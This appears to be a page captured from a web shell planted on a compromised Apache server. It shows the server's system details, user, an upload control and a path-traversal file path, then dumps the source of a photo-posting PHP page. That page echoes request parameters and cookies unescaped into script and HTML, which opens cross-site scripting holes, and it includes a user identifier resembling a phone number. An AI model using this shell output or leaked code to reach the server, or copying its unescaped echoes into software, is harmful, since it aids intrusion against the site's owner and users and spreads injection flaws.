( ′∀`)σ≡σ☆))Д′)レ(゚∀゚;)ヘ=З=З=Зε≡(ノ´_ゝ`)ノ HEX
HEX
Server: Apache/2.4.58 (Ubuntu)
System: Linux mail.thebrand.ai 6.8.0-107-generic #107-Ubuntu SMP PREEMPT_DYNAMIC Fri Mar 13 19:51:50 UTC 2026 x86_64
User: www-data (33)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /var/www/html/tmpr/../tmpr/../tmpr/../tmpr/..//tmpr/../newdatasets/postit.php
<?php 
 
?> <?php $me=$_SESSION['euserid']; $shared = $_GET["shared"]; if ($shared=="true") {$newnani = "&newnani=$me";}else{$newnani = "";}?>
<?php $me=$_SESSION['euserid']; $shared = $_GET["shared"]; if ($shared=="true") {$nani = $_GET["nani"];}else{$nani = $_SESSION['euserid'];}?>
<?php $me=$_SESSION['euserid']; $shared = $_GET["shared"]; if ($shared=="true") {$msg_id1= $db->base64url_decode($_GET["msg_id1"]);$themeidMe = $msg_id1;}else{$themeidMe = ucwords($favstartag[0]["newsid"]);}?>

<script>
	$(document).ready(function(){	
		loading_show();
	noticeHide();
	
	

var picture = "<?php echo $pichaC;?>";

<?php if($isdisplayX == "13" || $favstartag[0]["isdisplay"] == 13 || $shared== "true") {?>var effect = "machine";<?php }else{?>var effect = "<?php echo ucwords($favstartag[0]["title"]);?>";<?php }  
?>
 var postPicture = $("#postPicture").val();
if($.trim(postPicture).length==0) {var postPicture = "";} else {var postPicture = "&newPic="+postPicture+"";  }  


  $("#theLabel").html("Working "+effect+"...");
 $("#check").html("Working "+effect+"...");
 
var updateval = encodeURI($("#update").val());
 var pic =  "<?php echo $pichaC;?>" ;
 
	$("#live").html("<img src='brandX.php?mag=yes&theme_id=<?php echo $themeidMe;?>&AppNo=<?php echo  $_COOKIE['euserid']  ;?>&x=0&y=0&pic=<?php echo $favstartag[0]["picture"] ?>&gratitude=posted&context="+updateval+"&filter=mood&cl="+effect+""+postPicture+"&overlay=0<?php echo $newnani ?>&display=1&nani=<?php echo $nani ?><?php /*?>&"+variables+"<?php */?>' width='100%'  />");
	$("#theLabel").html(""+effect+"");
 $("#check").html("");
 
	
	 
	$("#update").keyup(function(){
	var A=$.trim($(this).val());
	
	if(A.length<=140)
	{
		$("#check").html("<b class='badge bg-warning'>"+A.length+"</b>");
	}
	else
	
	{
		$("#check").html("140!");
	}
 
	});
 
	});
	
    
    </script> 
 
 <script type="text/javascript">
  
 $('.refreshTheme').click(function() {

	 selectTheme();
	 	});
		
		
		
function selectTheme()
  {
  

 
	loading_show();
	noticeHide();
$('#done').css("display","block");	
$('#view').css("display","none");
var picture = picture;
 
<?php if($isdisplayX == "13" || $favstartag[0]["isdisplay"] == 13 || $shared== "true") {?>var effect = "machine";<?php }else{?>var effect = "<?php echo ucwords($favstartag[0]["title"]);?>";<?php }  
?>
var postPicture = $("#postPicture").val();
if($.trim(postPicture).length==0) {var postPicture = "";} else {var postPicture = "&newPic="+postPicture+"";  }  


var form2 = $("#postit"); 
var newtheme = $("#newtheme", form2).val();

if($.trim(newtheme).length==0)
{
	 var fx = $("#fx").val(); if($.trim(fx).length==0) {} else { var effect="<?php echo ucwords($favstartag[0]["description"]);?>"; }  

}
else
{
	var effect = newtheme;
}
 
localStorage.setItem('effectStored', effect);

  $("#theLabel").html("Working "+effect+"...");
 $("#check").html("Working "+effect+"...");

 
var updateval = encodeURI($("#update").val());
 var pic =  "<?php echo $pichaC;?>" ;
 

 
if($.trim(newtheme).length==0)
{



if($.trim(fx).length==0) {var fx = "";} else {var newtheme = $("#newtheme").val(); var fx = "&fx="+fx+"&newcl=<?php echo ucwords($favstartag[0]["description"]);?>&updateEffect=yes"; var effect="machine";   }  
 

$("#live").html("<img src='brandX.php?mag=yes&theme_id=<?php echo $themeidMe;?>&AppNo=<?php echo  $_COOKIE['euserid']  ;?>&x=0&y=0&pic=<?php echo $favstartag[0]["picture"] ?>&gratitude=posted&context="+updateval+"&filter=mood"+fx+"&cl="+effect+""+postPicture+"&overlay=0<?php echo $newnani ?>&display=1&nani=<?php echo $nani ?><?php /*?>&"+variables+"<?php */?>' width='100%'  />");
}
else
{
				 var fx = $("#fx").val();
				if($.trim(fx).length==0)
				{ 
				var fx = "";
				}
				else
				{
					var fx = "&fx="+fx+"";
					
						
						
						if($.trim(newtheme).length==0) { var newcl="twisted";   }
			 
				
				
				 
				}
			 
				
 $("#live").html("<img src='brandX.php?mag=yes&AppNo=<?php echo  $_COOKIE['euserid']  ;?>&x=0&y=0&pic=<?php echo $favstartag[0]["picture"] ?>&gratitude=posted&filter=mood&updateEffect=yes&cl=<?php echo $favstartag[0]["title"] ?>&overlay=0"+fx+"&nani=<?php echo $nani ?>&context="+updateval+"&updateEffect=yes<?php echo $newnani ?>"+postPicture+"&display=1&newcl="+newtheme+"' width='100%'  />");
 
 
<?php /*?> $("#live").html("<img src='brandX.php?mag=yes&AppNo=<?php echo  $_COOKIE['euserid']  ;?>&x=0&y=0&pic=<?php echo $favstartag[0]["picture"] ?>&gratitude=posted&context="+updateval+"&filter=mood&cl="+effect+"&display=1"+fx+"&nani=<?php echo $_SESSION['euserid'] ?>' width='100%'  />");
<?php */?>} 

  $("#check").html("");
  $("#theLabel").html(effect);
   $("#mytheme").val(effect);
   $("#pictureX").val(picture);
loading_hide();

  
 

 }
   

		 
   	  
			  </script>
 
 
 
   
<header class="header " style=" margin-top:-20px">
            <div class="row b-b">
              <div class="col-sm-5">
                <h3 class="m-t m-b-none">Preview Post  </h3>
                <p class="block text-muted"> <span id="theLabelX" class="label label-danger"><?php echo ucwords($favstartag[0]["title"]);?></span>   theme selected</p>
              </div>
              <div class="col-sm-7">
                <div class="clearfix m-t-lg m-b-sm pull-right pull-none-xs">
                   
                  <div class="pull-left m-l-lg">
                    <div class="pull-left">
                                
                         
<?php 



$msg_idS= $db->base64url_encode($msg_id1);
if(empty($msg_idS)) { $msg_idS=  $db->base64url_encode($favstartag[0]["newsid"]); } 
if($isdisplayX == "13" || $favstartag[0]["isdisplay"] == 13 || $isdisplayX == "12") {?><a href="?mode=elements&msg_id=<?php echo $msg_idS ?>&category=alert-success&step=0&action=filter"><span class="btn btn-default m-r tipme" title="Edit Theme"><i class="icon-edit"></i>  </span></a>  <?php } else {?><a href="indexAlone.php?mode=startags&msg_id=<?php echo $msg_idS;?>&catid=&delnews=yes&where=photo"> <span class="btn btn-white m-r" > <i class="icon-trash"></i>  </span>     </a><?php }
?>
   
                       <button id="done" class="btn btn-success pull-right update_button tipme"    title="Share Photo" > <i class="icon-share"></i></button>
                       
                      <a href="index.php"><span id="view" class="btn btn-warning pull-right  tipme" style="display:none; "   title="Preview Photo"  > <i class="icon-check"></i></span></a>
                       
                    
                       
                    </div>
                    
                  </div>
                </div>
              </div>
            </div>
            
            <div style="width:100%; height:100%; margin:0px; padding:0px; margin-top:3px " class=" bg-light pull-in b-b b-r b-l font-bold" id="live"> 
             
        
<?php /*?> <img id="preview" src="brandX.php?mag=yes&AppNo=254722407698&x=0&y=0&pic=050bd9a1e5c0e746fffc72bbb36ec659bIMG_7977.jpg&gratitude=posted&filter=mood&cl=<?php echo $favstartag[0]["title"] ?>&overlay=0&nani=254722407698" width="100%"  /><?php */?>
 
 
  <?php /*?><img class="picme" src="" id="picme" style=" width:100%; max-width:600px" />

 
 
<?php */?>
 
 </div>
   </header>